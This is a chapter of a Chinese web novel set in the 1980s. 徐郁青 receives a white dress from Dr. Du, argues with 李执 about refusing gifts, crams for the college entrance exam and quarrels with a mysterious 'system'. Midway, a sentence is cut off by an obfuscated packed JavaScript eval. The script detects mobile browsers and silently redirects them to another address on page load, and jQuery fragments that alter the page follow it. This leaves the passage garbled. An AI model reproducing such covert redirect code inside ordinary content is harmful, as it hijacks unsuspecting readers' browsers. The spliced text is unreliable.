13. 礼物

作品:《郁青幸福主义[八零]

    刘美玲这次来说是送水饺,最根本的目的还是来拿药。


    她母亲虽说身体有好转,但仍然需要药物维持。


    作为主治医生又是资助者的杜医生当然是取药的最佳人选。


    于是刘美玲每个月都会定时定点的来一次。


    也总会带些她母亲准备的小礼物。


    价值不高,重在心意。


    只不过今天杜医生回来的有些晚。


    他们三个人只好主随客便的陪坐在沙发上,一同欣赏电视机里正在播放的不知道哪一年的春节联欢晚会。


    李执和李想显然是看过很多遍了,只兴致了了没什么神采地盯着屏幕。


    徐郁青对此就更没兴趣了。


    且不说后来的时代已经发展到‘陪伴式’看春晚的敷衍环节,就单说这电视画质。


    像开了高糊的马赛克一样。


    还没她之前看过的盗版清楚。


    刘美玲倒是看得很认真,时常面露难以掩饰的笑意。


    徐郁青不动声色观察了她一会儿,确定后来自己的葬礼上没有和她年龄相仿的同性,应该是没什么交集的人。


    于是她脑袋一歪,搭在沙发扶手上昏昏欲睡。


    在春末五月一个普通不过的下午,徐郁青第一次生出了可以悠然入睡的惬意。


    这种日子和从前相比。


    有好有坏吧。


    杜阿姨进门的一瞬间徐郁青就睁开了眼,她的大脑仍旧保持着一贯的警觉。


    李执被她吓了一跳,蓦地往后一闪,“你怎么说睁眼就睁眼。”


    徐郁青身体没动,只把眼珠转到他的方向,冷声说:“你不看电视看我干什么?”


    李执:“我看怎么有人看电视也能睡着,节目不喜欢啊?”


    徐郁青没回答喜不喜欢,只说:“杜阿姨回来了。”


    李执:“你怎么知道?”


    话音刚落地,杜医生就推开了房间的大门。


    “妈?”李执皱皱眉,“还真回来了。”


    刘美玲手攥拳半弯着腰站起来,很是恭敬地喊了声“阿姨”。


    “美玲来了,等很久了吧。”杜医生笑着问道。


    “没有没有。”


    李想关掉电视:“妈,怎么今天回来的这么晚。”


    杜医生扬扬手中的袋子,“这不是郁青在,今天美玲又来,我下班就去供销社买了两条裙子。”


    “两位小姑娘来过看看?”


    “?”徐郁青眨眨眼。


    刘美玲连连摇头,“这怎么行阿姨,我不能要,都给妹妹穿吧。”


    “妹妹有,你也有的,不耽误。”


    杜医生说着把袋子里的两条裙子抽出来展开,一起搭在她的手臂上。


    两条白色连衣长裙,款式相同,只细节处略微有些不同。


    她还是笑着,“美玲,让妹妹先选可以吧?”


    刘美玲紧紧抿着嘴,半晌才不好意思地点点说“当然可以”。


    徐郁青一时盯着不远处的两片洁白愣神,忘了自己想说什么。


    反倒是李执没心没肺地插嘴道:“妈,徐郁青不喜欢白色。”


    “?”徐郁青立刻一道警告的目光扫过去,这有你什么事。


    李执:?


    杜医生:“啊?是吗,抱歉郁青我不知道哎。”


    “没有的。”徐郁青挂上常用的天真笑容,“只是白色不耐脏,没那么喜欢穿。”


    “啊?”李执又想说什么,对上徐郁青的眼神只好默默闭了嘴。


    “没事,喜欢鲜亮的颜色下次我再买,现在先选一条白色的好不好?”


    “好。”徐郁青笑得乖巧。


    刘美玲抱着裙子和药千恩万谢地出了门,即使公交站不算远,李想还是好涵养的送她过去。


    杜医生需要休息,交代李执陪着徐郁青,李执懒洋洋地应下了。


    徐郁青自从收到裙子就没再说过话,李执活动着胳膊腿儿故意很重地一屁股塞在她身边。


    见徐郁青还是没什么反应,轻轻捶了下她的胳膊,“喂?哑巴了?”


    “……”


    徐郁青其实也不知道自己在想什么,只是一条裙子而已。


    还是她讨厌的白色。


    “不是吧你,又怎么了?”


    李执在旁边叽叽喳喳聒噪得很。


    徐郁青手指拂了拂轻柔的布料,半晌才前言不搭后语地说:“别人送你东西,不可以当面说不喜欢。”


    李执:“为什么?哪路神仙规定的?”


    徐郁青:……


    你是白痴吗。


    她一言难尽地看着李执,半晌才说,“你送别人礼物,人家说不喜欢你买的,你会很高兴吗?”


    “还好吧,那你收到不喜欢的礼物也不会高兴啊。”


    “我不是说我。”


    两个人僵持了片刻,李执忽然粲然一笑,“你小小年纪,怎么想事情这么复杂。”


    徐郁青闻言瞪了他一眼,“我不小了。”


    “你看你,收到白裙子又不开心。你要是不告诉我妈,她怎么知道你不喜欢,下次还会给你买白裙子,只有你说出来她才知道啊。”


    “以后你不就有喜欢的花裙子了。”说完李执很老成地拍拍她的头。


    徐郁青着急反驳,也顾不上他稍微过界的动作,“我没有不开心,还有。”


    “不是每件事都有下次的。”


    第一次就拂了别人的好意,下次谁还会愿意给你买裙子。


    李执不以为意,“我妈不是那种小心眼的人。再说了,就算她真不给你买了,我以后都给你买还不行。”


    算了,跟你讲不通。


    徐郁青叹气,“咱俩不是一个世界的人,反正你以后还是谨言慎行吧,这样容易吃亏。”


    等她抱着裙子上楼,李执伸长了腿平躺在沙发上,似乎在思考什么。


    又似乎是在闭目养神。


    *


    徐郁青也没想到有一天自己会对着一摞高中试卷挑灯夜读。


    是的,李家有台灯。


    她翻了徐郁青之前的试卷,确定她也是理科生无疑。


    还好,徐郁青松了口气,不用背历史和地理。


    她记忆力虽然不错,但历史好像克她,这一秒背过一转头就忘了。


    徐郁青把课本一一摆好,每本书的书角都是平整的。


    看来她们两个人也不是全无共性,她想。


    起码强迫症是统一的。


    语文、政治、英语暂且放在一边,徐郁青翻开数学书。


    几乎书的每一页都有蓝、黑、红不同颜色的笔记,工工整整。


    怎么数学也要记笔记啊。


    她顺着已经解好的解题思路捋了一遍。


    好消息,因为时代的局限性,这套教材会比她之后学的简单很多。


    坏消息,她学过的已经忘得一干二净了。


    徐郁青两根手指转着李想刚给她灌满墨水的那支钢笔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237001|166148||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,满打满算还有不到半个月。


    就算不吃不喝一直学,考大学这件事也是个天方夜谭。


    她又不是个学习机。


    徐郁青拧着眉心唉声叹气,明明已经住上大房子过上好日子了,怎么就非得高考不可呢。


    想到今天在书店门口没叫出来的那个破系统,她故作深沉道:“这高考谁爱去谁去吧。”


    【不可以】


    徐郁青轻哼一声,“现在知道出来了,我要买教材的时候您去哪了?”


    【买教材是你的事,找我干什么】


    “我对这会儿的政策毫不知情,你让我怎么学怎么买?起码得告诉我高考什么流程吧。”


    【报志愿、考试、上学】


    “对,就是报志愿!”徐郁青猛地一拍手,“哪个学校哪个专业分低?今年的分数线是多少?”


    【我不知道】


    “你为什么不知道?”


    【没发生的事我去哪里知道】


    “什么?”真给她气笑了,“那你怎么知道徐郁青会被人害死?!”


    【这事你不是也知道,那你就知道分数线了吗】


    ???


    “你说的这是人话吗?!”


    “我是人你也是啊?!”


    徐郁青双手掐腰,预备着跟这傻逼系统大战三百回合。


    咚咚咚——


    她视线扫向着门板,又瞥了一眼漂浮的对话框。


    框心领神会地消失了。


    “谁啊?”徐郁青扬声问道。


    “我,找你有点事。”是李执的声音。


    徐郁青揉揉脸颊调整了神情,拉开门,“大晚上的找我干嘛?”


    李执一只手摸着后脑勺的头发,“你干什么呢?”


    徐郁青:“做题。”


    “啊对,我。”李执眼珠乱转,话说得磕磕绊绊,“我有题不会,想来问问你。”


    徐郁青好人没见过几个,做贼心虚的骗子见得花样百出。她向后放松身体倚在门框上,“那好,题呢我看看。”


    “我,我记住了,你让我进去说。”


    徐郁青上下打量了他两眼,片刻后转身往里走,她也没有跟人站在门口说话的爱好。


    更何况家里这么多人都在。


    “哇,你收拾得真不错,金碧辉煌的。”李执说话很是夸张,说着就要一屁股往她床上坐。


    “停!”


    “?”李执撅着屁股停在半空中,“怎么了?”


    “穿着裤子别坐我的床。”


    李执闻言突然定在原地,半晌犹豫着问:“……那我脱了?”


    “……”


    徐郁青闭上眼睛深吸一口气,睁开眼微笑着轻轻启唇,一字一句地说:“你、有、病、吗。”


    李执站直了身体,“你不是说让我别穿裤子。”


    “我让你别穿着外面的脏裤子!脏!”


    “那我,穿秋裤?”


    靠,更不合适了。


    徐郁青刚想说你难道没有居家服吗,回家不知道换裤子吗,转念一想,不对啊。


    差点被他带到沟里去。


    “我是说,不准坐我的床。来这,”她指了指自己刚才坐的凳子,“坐好。”


    李执摇头晃脑地走过去漫不经心坐下。


    徐郁青:“写吧,你不会的题。”


    “啊?”


    徐郁青勾勾唇角抱臂站直,垂下眼眸目光却是冷漠,“说吧,到底来找我干什么。”